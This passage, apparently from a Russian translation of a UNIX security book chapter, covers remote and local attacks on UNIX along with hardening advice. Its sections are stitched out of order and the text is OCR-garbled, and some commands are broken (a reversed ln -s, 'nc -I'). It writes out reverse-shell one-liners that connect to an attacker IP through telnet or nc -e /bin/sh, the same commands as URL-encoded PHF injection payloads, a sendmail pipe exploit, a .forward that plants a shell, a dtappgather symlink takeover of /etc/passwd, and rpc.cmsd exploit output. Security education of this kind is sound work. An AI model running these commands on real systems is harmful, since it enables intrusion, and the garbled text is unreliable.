Для решения этой задачи можно воспользоваться несколькими методами. Первый из них, называемый реверсивный сеанс telnet, заключается в применении утилиты telnet для создания обратного канала от взламываемой системы к компьютеру взломщика. Название реверсивный сеанс telnet (reverse telnet) объясняется тем, что устанавливаемое с помощью команды telnet соединение инициализируется не системой взломщика, а системой, к которой он хочет получить доступ. В большинстве систем UNIX имеется клиент telnet и его использование практически никогда не ограничивается. Именно поэтому в тех случаях, когда программа xterm оказывается недоступной, telnet является вторым прекрасным средством, которое можно применить для создания обратного канала. Чтобы с помощью команды telnet создать обратный канал, необходимо воспользоваться всемогущей утилитой netcat (nc). Для того чтобы другой компьютер мог связаться с вашим компьютером посредством утилиты telnet, необходимо, чтобы на последнем в режиме ожидания была запущена утилита nс, которая и обеспечит установку реверсивного соединения telnet. Для этого в двух отдельных окнах необходимо запустить на выполнение следующие команды.
[tsunami]! nc -I -n -v -p 80
listening on [any] 80
[tsunami]! nc -1 -n -v -p 25
listening on [any] 25
Возвращаясь к рассматриваемому примеру, отметим, что для инициализации реверсивного соединения telnet на взламываемом сервере необходимо запустить следующую команду, действие которой основано на наличии уже известного нам изъяна PHF.
/bin/telnet IР_хакера 80 | /bin/sh | /bin/telnet IР_хакера 25
Данная команда, представленная в виде параметра PHF, выглядит следующим образом.
/cgi-bin/phf?Qalias=
x%0a/bin/telnet%20IP_xaкepa %2080%20I%20/bin/sh%20
|%20/bin/telnet%20IP_xaкepa%2025
Давайте посмотрим, что происходит, когда Web-серверу броузер передает данную строку. С помощью команды /bin/telnet IР_хакера 80 на взламываемом узле запускается telnet и подключается к порту 80 нашего компьютера. Это позволит нам вводить команды, которые будут выполняться удаленным компьютером. В соответствии со стандартными соглашениями ввода/вывода системы UNIX все, что мы будем набирать на клавиатуре, будет перенаправляться в качестве ввода командной оболочке Bourne (/bin/sh). Выводимые же результаты с помощью конвейера будут перенаправлены командой /bin/telnet по адресу IР_хакера на порт 25. Все это вместе взятое и создаст реверсивный сеанс teinet-связи. отображаемый в двух окнах. Порты 80 и 25 выбраны из-за того, что большинство брандмауэров чаще всего разрешает их использовать для создания исходящих соединений. Однако можно выбрать и любые другие порты, — лишь бы их использование для обмена данными не блокировались брандмауэром.
Второй метод создания обратного канала заключается в использовании самой утилиты nс. Для этого достаточно, чтобы программа nс уже присутствовала на сервере или могла быть помещена туда с помощью какого-либо механизма (например, через анонимный сеанс FTP). Как мы уже не раз отмечали, пс — это одна из лучших утилит. Поэтому совсем не удивительно, что в последнее время ее можно найти в комплекте поставки многих бесплатных версий UNIX. К сожалению, последнее обстоятельство имеет и обратную сторону — это повышает вероятность того, что хакеру даже не понадобится внедрять эту утилиту на интересующий его узел. Однако само присутствие пс на узле еще вовсе не означает, что ее можно сразу же использовать для создания обратного канала, поскольку нет никаких гарантий того, что она была скомпилирована с использованием директивы #def ine GAPING_SECURITY_HOLE, без которой параметр -е, используемый для создания обратного канала, применить не удастся. В нашем примере мы будем считать, что на узле каким-то образом оказалась нужная версия пс.
Подобно описанному выше telnet-методу, создание обратного канала с помощью утилиты пс состоит из двух этапов. Сначала необходимо выполнить следующую команду, которая впоследствии обеспечит взаимодействие с обратным каналом, созданным с использованием nс на взламываемом компьютере.
[tsunami]# nс -1 -n -v -p 80
После того как запущена утилита прослушивания, на удаленном узле необходимо выполнить следующую команду.
nс —е /bin/sh IР_хакера 80
Данная команда, представленная в форме, требуемой для использования изъяна PHF, имеет следующий вид.
/cgi-bin/phf?Qalias=x%0a/bin/nc%20-
e%20/bin/sh%20IP_xaкepa%2080
Как только Web-сервер выполнит эту строку, с помощью утилиты nс будет создан обратный канал, который подключит командную оболочку (в данном случае — /bin/sh) к находящемуся в режиме ожидания компьютеру хакера. Это обеспечит интерактивный доступ к командной оболочке, причем соединение будет установлено самой взламываемой системой.
Как мы увидели из нашего
Резюме
Как мы увидели из нашего исследования, UNIX — это сложная система, для адекватной защиты которой необходимо предпринимать целый ряд комплексных мероприятий. Мощь и элегантность UNIX обеспечивают ее популярность, однако они же являются и причиной ее уязвимости. Мириады методов удаленного и локального взлома позволяют злоумышленникам нарушать подсистему безопасности даже самых защищенных систем UNIX. Чуть ли не ежедневно обнаруживаются новые методы взлома путем переполнения буфера. Программисты мало задумываются о безопасности, а средства обнаружения несанкционированных действий устаревают практически в течение нескольких недель. Между хакерами и администраторами идет не прекращающаяся ни на минуту битва, в которой одни попытаются приблизить, а вторые — отдалить "день зеро". В табл. 8.3 приведен перечень дополнительных ресурсов, которые могут помочь вам обрести душевный покой (во всяком случае, на некоторое время).
Root в поисках сокровища
root: в поисках сокровища
В 1969 году Кен Томпсон (Ken Thompson), к которому несколько позднее присоединился его коллега по работе в компании AT&T Дэнис Ричи (Denis Richie), решили, что проект MULTICS (Multiplexed Information and Computing System) развивается слишком медленно. Они приняли решение "подтолкнуть" этого проект, и в результате появилась новая операционная система, названная UNIX, которая навсегда изменила мир компьютеров. Система UNIX проектировалась как развитая, производительная, многопользовательская операционная система, которая должна была показывать прекрасные результаты при выполнении программ, особенно небольших программ, названных инструментами (tool). Обеспечение безопасности не было ключевым требованием к системе, однако при правильном подходе к настройке UNIX может обеспечивать высокую степень безопасности. Популярность UNIX стала результатом ее открытости для доработок и расширений функций ядра системы, а также благодаря многочисленным небольшим инструментам, делающей эту систему столь мощной. Первые работы по созданию и развитию UNIX велись в основном в компании Bell Labs или в университетах, где безопасность обеспечивалась путем физических мероприятий. Иными словами, любой, кто имел физический доступ к системе UNIX, автоматически считался авторизованным пользователем. Очень часто защита учетной записи root с помощью пароля считалась чем-то ненужным и раздражающим, в связи с чем она отключалась.
Хотя за последние 30 лет операционная система UNIX и ее клоны были значительно усовершенствованы, отношение к безопасности в UNIX изменилось незначительно. Многие недобросовестные разработчики и хакеры изучают ее исходный код в поиске изъянов в системе защиты. Более того, считается престижным опубликовать сведения о найденном недостатке в каком-нибудь списке рассылки, посвященном вопросам безопасности, например Bugtraq. В этой главе мы также будем вести себя как хакеры, чтобы узнать, как можно получить скрытый доступ к системе в качестве пользователя root и зачем это нужно. При чтении материала этой главы не забывайте, что в системе UNIX имеется два уровня доступа — в качестве всемогущего суперпользователя root и в качестве любого другого пользователя. Таким образом, суперпользователя не может заменить никто!
С помощью утилиты XWatchWin можно
Рисунок 8.3. С помощью утилиты XWatchWin можно удаленно просмотреть окно практически любого приложения рабочего стола
Sendmail
sendmail
Данная тема столь обширна, что вполне заслуживает отдельной книги. С чего же начать? Программа sendmail — это агент рассылки электронной почты (МТА — mail transfer agent), используемый во многих системах UNIX. Из всех программ UNIX sendmail, пожалуй, является самой "вредной". Она обладает очень широким набором функций, в связи с чем позволяет настраивать свои параметры самыми разными способами и является очень сложной в использовании. Фактически о первых попытках взлома sendmail стало известно еще в 1988 году и с тех пор ее использовали для получения несанкционированного доступа к нескольким тысячам систем. Одно время была даже популярной такая шутка: "Какая ошибка в sendmail признана лучшей ошибкой недели?" В течение последних лет sendmail была значительно улучшена в плане безопасности, но она по-прежнему остается очень большой программой, исходный код которой содержит более 80000 строк. Таким образом, вероятность обнаружения новых изъянов в системе зашиты по-прежнему достаточно велика.
Как вы помните из главы 3, с помощью программы sendmail, а точнее ее команд vrfy и ехрп, можно идентифицировать пользовательские учетные записи. Это само по себе представляет угрозу, однако данная угроза — ничто по сравнению с той опасностью, которую таит в себе работающая программа sendmail. За десять последних лет в sendmail были выявлены целые россыпи изъянов защиты. К сожалению, необходимо констатировать, что список ее недостатков еще далеко не полон — несмотря на столь давний срок эксплуатации, в программе постоянно обнаруживаются новые и новые проблемы. Многие из этих проблем связаны с возникновением состояния переполнения буфера при удаленном подключении, а также с возможностью взлома при отсутствии проверки ввода. Одним из самых популярных методов взлома sendmail заключался в использовании недостатка sendmail 4.1, проявляющегося при перенаправлении ввода-вывода. Суть проблемы состояла в том, что взломщик с использованием конвейера мог направить программе sendmail команды для выполнения. При этом sendmail выполняла любую команду с привилегиями, которые применялись для программ, расположенных в каталоге bin.
hello
mail from: |
rcpt to: bounce
data
mail from: bin
rcpt to: | sed 4,/^$/d' | sh
data
[tsunami]$ cat > .forward
|"op /bin/sh /home/gk/evil_shell ;
chmod 755 /home/gk/evil_shell"
<crtl> D
[tsunami]$ cat .forward
I"cp /bin/sh /home/gk/evil_shell ;
chmod 755 /home/gk/evil_shell"
Получение сообщения приведет к созданию в рабочем каталоге пользователя файла evil_shell. При запуске этого файла будет запущена командная оболочка с привилегиями, соответствующими уровню привилегий использованной взломщиком учетной записи.
Шифрование (SSH IPSec)
Шифрование (SSH, IPSec)
Давно известным методом борьбы с прослушиванием сетей является шифрование. Только шифрование на уровне получателя и отправителя может обеспечить уровень практически полной конфиденциальности. Необходимая длина ключа должна определяться на основании того, как долго данные остаются важными. Короткие ключи (длиной до 40 бит) допустимо использовать для шифрования потоков данных только в тех случаях, когда данные быстро устаревают. Кроме того, применение коротких ключей позволяет повысить производительность.
В тех случаях, когда в системе UNIX необходимо обеспечить безопасное удаленное подключение к сети, используется протокол Secure Shell (SSH). Бесплатные версии соответствующего программного обеспечения для некоммерческого использования можно найти по адресу http://www.ssh.org/download.html, а коммерческую версию, названную F-Secure Tunnel & Terminal, которая распространяется компанией Data Fellows, — по адресу http: //www.datafellows .com/.
В настоящее время в качестве нового стандарта предлагается протокол IPSec (IP Security Protocol), который позволяет обеспечить аутентификацию и шифрование потока данных на уровне протокола IP. Десятки компаний-разработчиков уже реализовали поддержку IPSec в своих продуктах, так что обратитесь к своему поставщику сетевого оборудования и получите у него все необходимые сведения по этому вопросу. Пользователи Linux могут обратиться по адресу http://www.freeswan.org/intro.html, где содержатся данные о проекте FreeSWAN, и получить всю информацию о свободно распространяемой реализации протоколов IPSec и IKE, которая была разработана в рамках модели открытого кода.
Символьные ссылки
Символьные ссылки
Устаревшие, рабочие и временные файлы в той или иной степени "захламляют" большинство систем. К счастью, в UNIX большинство временных файлов создается в одном каталоге /tmp. Однако, хотя, с одной стороны, это и удобно, с другой — несет в себе определенную опасность. Многие программы, работающие в контексте SUID суперпользователя, создают рабочие файлы в каталоге /tmp или других подобных каталогах даже без намека на какую-либо проверку соблюдения правил безопасности. Основная проблема связана с использованием некоторыми программами при доступе к файлам символьных ссылок без проверки того, является ли тот или иной файл ссылкой или же реальным файлом. Символьная ссшка (symbolic link) — это файл специального вида, созданный с помощью команды In. По сути, такой файл представляет собой не что иное, как ссылку на другой файл. Давайте, например, создадим символьную ссылку /tmp/fоо на файл /etc/passwd.
[quake]$ In -s /tmp/foo /eto/passwd
Теперь, применив команду cat к файлу /tmp/foo, мы получим содержимое не этого файла, а файла паролей! Таким образом, кажущееся на первый взгляд удобным, это средство представляет весьма реальную угрозу для безопасности. Хотя подобным образом обычно осуществляется доступ к рабочим файлам, помещенным в каталог /tmp, некоторые приложения создают подобные файлы и в любых других каталогах файловой системы. Давайте рассмотрим пример из реальной жизни и разберемся, как этот метод применяется на практике.
В этом примере мы будем изучать утилиту взлома dtappgather из операционной системы Solaris. Данная утилита поставляется в составе стандартного рабочего стола. При каждом выполнении dtappgather создает временный файл с именем /var/dt/appconfig/appmanager/generic-display-0 и устанавливает к нему права доступа 0666. Кроме того, она изменяет атрибут принадлежности файла в соответствии с UID пользователя, который запустил эту утилиту на выполнение. К сожалению, утилита dtappgather не применяет никаких процедур проверки для того, чтобы удостовериться, не подменен ли созданный ею временный файл символьной ссылкой. Таким образом, если взломщик создаст символьную ссылку /var/dt/appconfig/appmanager/generic-display-0, указывающую на другой файл (например, на /etc/passwd), права доступа к последнему изменятся на 0666, а его владельцем станет взломщик. Перед запуском программы давайте убедимся, в том что владельцем файла /etc/passwd является суперпользователь root, а права установлены на уровне группы sys.
[quake]$ 1s -1 /etc/passwd
-r-xr-xr-x 1 root sys 560 May 5 22:36 /etc/passwd
[quake]$ In -s /etc/passwd /var/dt/appconfig/
appmanager/generic-display-0
[quake]$ /usr/dt/bin/dtappgather
MakeDirectory: /var/dt/appconfig/appmanager/generic-display-0: File
exists
[quake]$ Is -1 /etc/passwd
-r-xr-xr-x 1 gk staff 560 May 5 22:36 /etc/passwd
Службы удаленного вызова процедур (RPC)
Службы удаленного вызова процедур (RPC)
Удаленный вызов процедур (RPC — Remote Procedure Call) — это механизм, который позволяет программе, работающей на одном компьютере, выполнять программный код на удаленном компьютере. Одна из первых реализаций службы RPC была разработана компанией Sun Microsystems и использовалась в системе, базирующейся на протоколе XDR (внешнее представление данных — eXtemal Data Representation). Целью этой системы было обеспечение взаимодействия сетевой информационной службы (NIS — Network Information System) и сетевой файловой системы (NFS — Network File System), созданных компанией Sun. После разработки компанией Sun Microsystems службы RPC многие другие производители операционных систем семейства UNIX также стали включать поддержку RPC в свои продукты. С точки зрения обеспечения взаимодействия распространение и стандартизация RPC — это очень важно и полезно. Однако при разработке службы RPC вопросам безопасности практически не уделялось никакого внимания. Несмотря на то что и компания Sun, и другие разработчики приложили все усилия, для того, чтобы устранить имеющиеся недостатки в уже используемом программном обеспечении и выпустить соответствующие модули обновления, нередко оказывается, что механизм RPC по-прежнему таит в себе немало проблем, связанных с огромным количеством ошибок в системе защиты.
Как уже отмечалось в главе 3, при запуске службы RPC регистрируются с помощью службы преобразования портов (portmapper). Для того чтобы установить связь со службой RPC, у службы portmapper необходимо запросить номер порта RPC. Ранее уже рассматривался метод получения списка запущенных служб RPC, заключающийся в сканировании портов с использованием утилиты rpcinfo или параметра -n (если служба portmapper блокируется на уровне брандмауэра). К сожалению, во многих версиях UNIX после загрузки по умолчанию включается режим поддержки RPC. Но это еще полбеды — настоящая проблема состоит в том, что многие службы RPC очень сложны и работают на уровне привилегий суперпользователя root. Таким образом, успешный взлом путем переполнения буфера или при отсутствии проверки ввода приведет к немедленному получению доступа в качестве суперпользователя. На момент написания данной книги взлому путем переполнения буфера были наиболее подвержены службы rpc. ttdbserverd (http: //www. cert.org/advisories/CA-98.11.tooltalk.html) И rpc.cmsd (http://www.cert. org/advisories/CA-99-08-cmsd.html), являющиеся частью стандартного рабочего стола (Common Desktop Environment — CDE). Поскольку обе службы работают на уровне привилегий суперпользователя, взломщику достаточно вызвать состояние переполнения буфера и создать обратный канал, воспользовавшись программой xterm либо установив реверсивный telnet-сеанс. К другим не менее опасным службам RPC относятся rpc. statd (http://www.cert.org/advisories/CA-99-05-statd-automountd.html) и rpc.mountd, которые оказываются активными при использовании сетевой файловой системы NFS (см. раздел "Nfs" ниже в этой главе). Даже если служба преобразования портов заблокирована, взломщик может вручную просканировать порты и попытаться выявить активные службы RPC (с помощью параметра -sR утилиты nmар), с которыми обычно связаны порты с большими номерами. Вышеупомянутые службы представляют собой лишь несколько примеров проблем, которые может создать поддержка механизма RPC. Благодаря распределенной природе служб RPC и высокой сложности их компонентов, этот механизм часто является жертвой злоумышленников, что и продемонстрировано в следующем фрагменте.
[rumble]* cmsd.sh quake
192.168.1.11 2 192.168.1.103
Executing exploit...
rtable_create worked
clnt__call[rtable_insert]: RPC:
Unable to receive; errno=Connection
reset
by peer
Составление схемы уязвимых мест
Составление схемы уязвимых мест
Составление схемы уязвимых мест (vulnerability mapping) — это процесс нахождения соответствия между определенными атрибутами безопасности системы с соответствующими явными или потенциальными изъянами. Данный этап является критичным при проведении реального обследования системы, поэтому его важность нельзя недооценивать. Взломщик должен обязательно составить схему, показывающую, как атрибуты, такие как находящиеся в состоянии ожидания службы, определенные версии запущенных серверов (например, Apache 1.3.9 для HTTP и sendmail — для SMTP), архитектура системы, информация о пользовательских именах и так далее, соотносятся с потенциальными дефектами системы защиты. Для выполнения этой задачи взломщик может воспользоваться одним из следующих методов.
Вручную определить, как соотносятся определенные атрибуты системы с информацией о выявленных недостатках, которую можно получить из общедоступных источников, например бюллетеня Bugtraq, на Web-узле координационного центра CERT (Computer Emergency Response Team), специализирующегося на изучении проблем безопасности Internet (http://www.cert.org), и от непосредственных разработчиков тех или иных продуктов. Хотя этот процесс достаточно длителен и утомителен, в результате можно получить очень подробную картину потенциальных уязвимых мест без необходимости непосредственного изучения в интерактивном режиме интересующей взломщика системы.
Применить общедоступные специальные инструменты (exploit), которые можно найти в разнообразных списках рассылки, посвященных вопросам безопасности, и на многочисленных Web-узлах. Кроме того, взломщик может написать собственный программный код. Такие программы могут определить наличие реальных уязвимых мест с высокой степенью точности.
Использовать средства, предназначенные для автоматического сканирования систем в поисках уязвимых мест. К заслуживающим доверия коммерческим продуктам этого класса относятся Internet Scanner от компании Internet Security Systems (www.iss.net) или CyberCop Scanner от Network Associates (www.nai.com). Из бесплатных утилит можно выделить Nessus (www. nessus.org) И SAINT (http ://www. wwdsi.com/saint/).
У каждого из этих методов имеются свои достоинства и недостатки. Однако необходимо отметить, что только взломщики с низкой квалификацией (так называемые "script kiddies" — малыши) пропускают этап составления схемы уязвимых мест, сразу же пытаясь применить к интересующей их системе первый попавшийся инструмент, не имея ни малейшего представления о том, как и почему данный инструмент может привести к получению результата. Мы нередко были свидетелями реальных попыток взлома с помощью утилит, предназначенных для использования в системе UNIX, которые применялись для проникновения в систему Windows NT. Нет необходимости говорить о том, что такие горе-взломщики сразу же выдавали свою некомпетентность и никогда не добивались желаемого результата. В следующем списке приведена последовательность операций, которые необходимо выполнить при составлении схемы уязвимых мест.
Провести исследование сети, в которой находится целевой компьютер.
Составить схему соответствия атрибутов, таких как операционная система, архитектура, номера версий служб, находящихся в состоянии ожидания запросов, и так далее, с перечнем известных уязвимых мест и методов проникновения.
Идентифицировать ключевые системы и отобрать из них те, на которых стоит сосредоточить усилия.
Отобрать потенциальные точки проникновения и определить их приоритеты.
Совместно используемые библиотеки
Совместно используемые библиотеки
Совместно используемые библиотеки (shared library) позволяют исполняемым файлам обращаться к функциям общего назначения во время выполнения. Соответствующий программный код заранее компилируется, а затем помещается в ту или иную совместно используемую библиотеку. При запуске программы, которой нужна какая-то функция, находящаяся в такой библиотеке, программа обращается к этой библиотеке, загружает в память нужный код и выполняет его. Главным преимуществом таких библиотек является экономия дискового пространства и оперативной памяти, а также упрощение сопровождения программ, так как обновление библиотеки автоматически влечет за собой обновление функциональности всех работающих с ней программ. Конечно, за повышенное удобство приходится расплачиваться ослаблением безопасности. Если взломщику удастся модифицировать совместно используемую библиотеку или с помощью переменных окружения ему удастся переключить программы на применение своей собственной библиотеки, это может привести к получению им доступа на уровне суперпользователя.
В качестве примера можно привести изъян программы in.telnetd, описанный в статье СА-95.14 координационного центра CERT. Этот изъян, конечно, был обнаружен довольно давно, но он как нельзя лучше подходит для иллюстрации рассултри-ваемой проблемы. Суть изъяна заключается в том, что некоторые версии in. telr.e.i позволяют передавать удаленной системе переменные окружения, когда пользователь пытается установить соединение (RFC 1408 и 1572). Таким образом, взломщик может модифицировать свою переменную LD_PRELOAD, подключившись к системе с помощью telnet, и получить доступ в качестве суперпользователя.
Для того чтобы извлечь пользу из данного изъяна, взломщику необходимо каким-либо способом поместить модифицированную совместно используемую библиотеку на взламываемую систему. Затем он может модифицировать переменную LD_PRELOAD таким образом, чтобы она указывала на модифицированную библиотеку при подключении. Когда сервер in. telnetd запускает программу /bin/login для аутентификации пользователя, динамический компоновщик системы загрузит модифицированную библиотеку, а не стандартную. Это позволит взломщику выполнить код с привилегиями суперпользователя.
Бесплатные утилиты
Таблица 8.1.Бесплатные утилиты, которые позволяют защититься от подбора паролей "в лоб"
Инструмент |
Описание |
Адрес |
S/Key |
Система генерации одноразовых паролей |
http: //www.yak.net/skey/ |
One Time Passwords In Everything (OPIE) |
Система генерации одноразовых паролей |
ftp .nrl . navy .mil /pub/ security/opie |
Cracklib |
Средство генерации паролей |
ftp: //ftp. cert . or g/ pub/ tools/cracklib/ |
Npasswd |
Утилита, которую можно использовать вместо команды passwd |
http: //www.utexas .edu/ cc/unix/software/npasswd/ |
Secure Remote Password |
Новый механизм для выполнения безопасной аутентификации с помощью пароля и обмена ключами в сети любого типа |
http: //srp. stanford, edu/srp/ |
SSH |
Замещает r-команды и позволяет выполнять те же функции с поддержкой шифрования и аутентификации RSA |
http: //www.cs .hut . fi/ssh |
Обеспечение того, чтобы все пользователи применяли пароли. Принудительная смена паролей один раз в 30 дней для привилегированных пользователей и один раз в 60 дней для обычных пользователей. Минимальная длина пароля должна составлять шесть символов, а еще лучше — восемь. Регистрация неудачных попыток аутентификации. Настройка служб таким образом, чтобы после трех неудачных попыток регистрации выполнялся разрыв соединения. Реализация режима блокировки учетных записей везде, где это возможно (не забывайте при этом о возможных проблемах, связанных с отказом в обслуживании, специально вызываемых действиями взломщика). Отключение неиспользуемых служб. Использование средств генерации паролей, не позволяющих пользователям выбирать легко угадываемые пароли. Не использовать один и тот же пароль для доступа к разным системам. Не допускать, чтобы пользователи записывали свои пароли. Не допускать разглашения паролей посторонним. Использовать при возможности одноразовые пароли. Обеспечение того, чтобы встроенными учетными записями вида setup и admin не использовались пароли, установленные для них по умолчанию. Дополнительную информацию по выбору паролей можно найти в документе AusCERT SA-93:04.
Популярныебесплатные
Таблица 8.2. Популярныебесплатные анализаторы сетевых пакетов для UNIX
Название, авторы |
Адрес |
Описание |
Sniffit, Brecht Claerhout (известен также под псевдонимом coder) |
http://reptile.rug.ac.be/-coder/snif fit/sniff it.html |
Простой анализатор пакетов, работающий в Linux, SunOS, Solaris, FreeBSD и Irix |
tcpdump 3.x, Steve McCanne, Craig Leres, Van Jaconson |
http ://www-nrg.ее.lbl.gov/ |
Классическое средство анализа пакетов, которое было перенесено на многие платформы |
linsniff, MikeEdulla |
http : / /www.root shel1.com/ |
Предназначен для перехвата паролей Linux |
solsnif f , Michael R. Widner |
http://www.rootshell.com/ |
Тот же анализатор, модифицированный для систем Solaris 2.x компании Sun |
dsniff |
http: //www.monkey.org/ -dugsong |
Один из наиболее мощных анализаторов |
snort |
http : / /www. snort.org |
Очень мощный анализатор |
Дополнительные ресурсы безопасности системы UNIX
Таблица 8.3. Дополнительные ресурсы безопасности системы UNIX
Название |
Операционная система |
Адрес |
Описание |
Titan |
Solaris |
http://www.fish.com/titan/ |
Набор программ, призванных укрепить безопасность Solaris |
Solaris Security FAQ |
Solaris |
http://www.sunworld.com/ sunworldonline/ common/security-faq.html |
Руководство, в котором содержится информация о том, как заблокировать систему Solaris от вторжений взломщиков |
Armoring Solaris |
Solaris |
http://www.enteract.com/ -1spitz /armoring.html |
Статья о том, как укрепить безопасность системы Solaris. Данная статья представляет систематический подход к подготовке установки брандмауэра. Здесь же приводится загружаемый сценарий, который поможет укрепить подсистему защиты |
NIS+ part 1 : What's in a Name (Service)?, Peter Galvin |
Solaris |
http ://www . sunworld.com/ sunworldonline/swol -09-1996/swol-09-security.html |
Прекрасный обзор средств обеспечения безопасности NISi- |
FreeBSD Security How-To |
FreeBSD |
http ://www. freebsd.org/~ j kb/howto .html |
Несмотря на то что данное руководство ориентировано на FreeBSD, большую часть материала можно применять и к другим ОС UNIX (особенно OpenBSD и NetBSD) |
Linux Administrator's Security Guide (LASG), Kurt Seifried |
Linux |
https: //www. seifried.org/ lasg/ |
Одна из лучших статей по защите системы Linux |
HP-UX Security |
HP-UX |
http: //wwwinfо.cern.ch/dis/ security/hpsec.html |
Рекомендации по защите HP-UX |
Watching Your Logs, Lance Spitzner |
Все версии |
http ://www.enterac .com/ ~1spitz /swatch.html |
Информация о том, как спланировать и реализовать автоматический фильтр для контроля системных журналов. Включены примеры конфигурирования и реализации |
UNIX Computer Security Checklist (версия 1.1) |
Все версии |
ftp ://ftp. auscert.org.au/ pub/auscert/papers/unix_ security_checklist |
Удобный вопросник по безопасности UNIX |
The Unix Secure Programming FAQ, Peter Galvin |
Все версии |
http : //www . sunworld . com/ sunworldonline/swol-08-1998/ swol-08-sacurity.html |
Советы по проектированию систем защиты, методам программирования и тестирования |
CERT Intruder Detection Checklist |
Все версии |
ftp://info.cert.org/pub/ tech_tips/intruder_detect ion_checklist |
Руководство по поиску признаков, которые указывают на возможные недостатки системы безопасности |
Тестирование и аудит каждой программы
Тестирование и аудит каждой программы
Очень важно выполнять тестирование и аудит каждой программы. Очень часто случается, что программисты даже не задумываются о том, может ли в их программе возникнуть ошибка переполнения буфера. Однако всегда найдется кто-нибудь, кто не только задумается над этим, но и приложит все усилия для того, чтобы найти такие ошибки и воспользоваться ими в своих целях. Одним из лучших примеров тестирования и аудита кода UNIX является проект OpenBSD (www.openbsd.org), которым руководит Тео де Раадт (Theo de Raadt). Программисты, работающие над проектом OpenBSD, постоянно проверяют и перепроверяют исходный код друг друга и уже исправили сотни ошибок, которые могут привести к переполнению буфера, не говоря уже о более серьезных проблемах, имеющих отношение к безопасности. Именно из-за столь грамотного подхода к тщательному аудиту, применяемого разработчиками OpenBSD, эта операционная система заслужила репутацию одной из самых надежных из свободно распространяемых версий UNIX.
TFTP
TFTP
Протокол TFTP (Trivial File Transfer Protocol — простой протокол передачи файлов) обычно используется для загрузки бездисковых рабочих станций или сетевых устройств. таких как маршрутизаторы. TFTP — это основанный на UDP протокол, который использует порт 69 и характеризуется очень низким уровнем безопасности. Практически каждый случай, когда взломщик встречает систему, на которой запущен сервер TFTP, заканчивается попыткой получения через TFTP копии файла /etc/passwd. Если сервер TFTP не настроен должным образом, это приводит к тому, что система без малейшего сопротивления позволяет скопировать этот файл. Тем самым в руки взломщика попадает файл с информацией о пользовательских именах, после чего он может попробовать подобрать пароль. Кроме того, если пароли не хранятся в файле /etc/shadow, то, помимо пользовательских имен, взломщик получает также и зашифрованные пароли, в результате чего им может быть предпринята попытка их взлома или подбора.
Многие последние версии TFTP по умолчанию настроены таким образом, что разрешают доступ только к каталогу /tftpboot. Это очень хорошая мера предосторожности, однако все же возможность получения файлов с диска взламываемого компьютера, пусть даже лишь из одного каталога /tftpboot, может угрожать безопасности. Например, злоумышленник может найти в нем важные конфигурационные файлы маршрутизаторов. имена которых обычно имеют вид <имя_узла_маршрутизатора> .cfg. Во многих случаях взломщик также сможет получить доступ к паролям маршрутизатора и строкам доступа SNMP. Нам приходилось встречать целые сети, взломанные в течение нескольких часов с помощью подключения к незащищенному TFTP-серверу и получения от него конфигурационных файлов маршрутизаторов. Извлечь из этих файлов пароли и строки доступа SNMP — это лишь дело техники. Как правило, эти сведения оказываются идентичными для каждого сетевого устройства.
Удаленный доступ
Удаленный доступ
Как уже говорилось выше, для удаленного доступа используется локальная сеть или какой-либо другой коммуникационный канал, такой как модемная связь с системой UNIX, выступающей в роли сервера удаленного доступа. Исходя из нашего опыта, мы можем сказать, что большинство организаций заботит именно безопасность удаленного доступа, осуществляемого по каналам аналоговой связи или ISDN. Однако мы ограничим наше исследование лишь методами получения доступа к системе UNIX по сети через протокол TCP/IP. В конце концов, протокол TCP/IP является краеугольным камнем Internet, поэтому именно эта тема заслуживает первоочередного внимания при обсужле-нии вопросов обеспечения безопасности UNIX.
Средства массовой информации создали некий миф вокруг темы нарушена-: системы защиты системы UNIX, согласно которому для этого нужно проявить сг-реиг-ленное искусство, граничащее с мистикой. На самом деле существует три впо.:-;е реальных основных метода для удаленного проникновения через систему зашиты UNIX
1. Проникновение через службу, находящуюся в состоянии ожидания запросов (TCP/UDP).
2. Использование в качестве плацдарма системы UNIX, обеспечивающей безопасность двух или более сетей.
3. Применение методов удаленного взлома, подразумевающих скрытое вовлечение пользователей (созданный с преступным умыслом специальный Web-узел, электронная почта с вложенным "троянским конем" и т.д.).
Давайте рассмотрим несколько примеров, которые помогут нам лучше разобраться в различных типах атак, относящихся к одной из этих категорий.
Проникновение через службу, находящуюся в состоянии ожидания запросов. Кто-то дает вам идентификатор пользователя и пароль и говорит: "Взломай мою систему". Именно так обстоит дело с проникновением через службу, находящуюся в режиме ожидания. Действительно, как можно зарегистрироваться в системе, если в ней не запущены службы, позволяющие интерактивную регистрацию (telr.et. ftp. rlogin или ssh)? А как насчет обнаруженных лишь на этой неделе очередных изъянах службы wu-ftpd? В вашей системе они имеются? Вполне возможно. сдна:<о взломщики, скорее всего, будут использовать для получения доступа служб) -.-.-_-f tpd только в том случае, если она запущена и находится в состоянии ожидания. Таким образом, можно жестко сформулировать правило — доступ через службу можно получить тогда и только тогда, когда она находится в состоянии ожидания запросов. В противном случае удаленный доступ через нее получить невозможно.
Использование брандмауэра в качестве маршрутизатора. Через ваш брандмауэр, на котором установлена система UNIX, в сеть проник взломщик. "Этого не может быть, — скажете вы, — ведь мы не поддерживаем никаких входящих служб!" Во многих случаях взломщики обходят брандмауэры UNIX путем маршрутизации своих пакетов через брандмауэры под видом пакетов, исходящих от внутренних систем. Эта уловка срабатывает, поскольку в ядре UNIX по умолчанию включен режим пересылки IP-пакетов для тех приложений, которым такой режим нужен. Поэтому очень часто взломщику и не нужно взламывать сам брандмауэр — достаточно использовать его в качестве маршрутизатора.
Удаленный взлом с вовлечением пользователей. Вы отключили все опасные для системы защиты UNIX службы и полагаете, что обеспечили безопасность? Не спешите с выводами! А что, если кто-то из пользователей попробует открыть страницу по адресу вроде http://www.evilhacker.org и броузер выполнит вредоносный код, в результате чего будет установлено обратное соединение с этим узлом? Тогда компьютер, находящийся по адресу evilhacker.org, сможет получить доступ к пользовательскому компьютеру. Трудно даже представить, какие последствия может повлечь за собой работа в Web под именем суперпользователя root! Что произойдет, если ваша программа сетевых пакетов окажется восприимчивой для атак, приводящих к переполнению буфера (http: //www.w00w00.org/advisories/snoop.html)?
В этом разделе мы рассмотрим типичные методы удаленных атак, которые подпадает под одну из приведенных выше категорий. Если вы хотите понять, как взломщику далось проникнуть в систему, попробуйте найти ответы на три следующих вопроса.
1. Используются ли службы, находящиеся в состоянии ожидания запросов?
2. Поддерживает ли система маршрутизацию?
3. Выполнял ли пользователь или пользовательская программа команду, которая могла стать причиной нарушения системы защиты?
Мы уверены, что вы дадите положительный ответ по крайней мере на какой-то адин из этих вопросов.
Удаленный и локальный доступ
Удаленный и локальный доступ
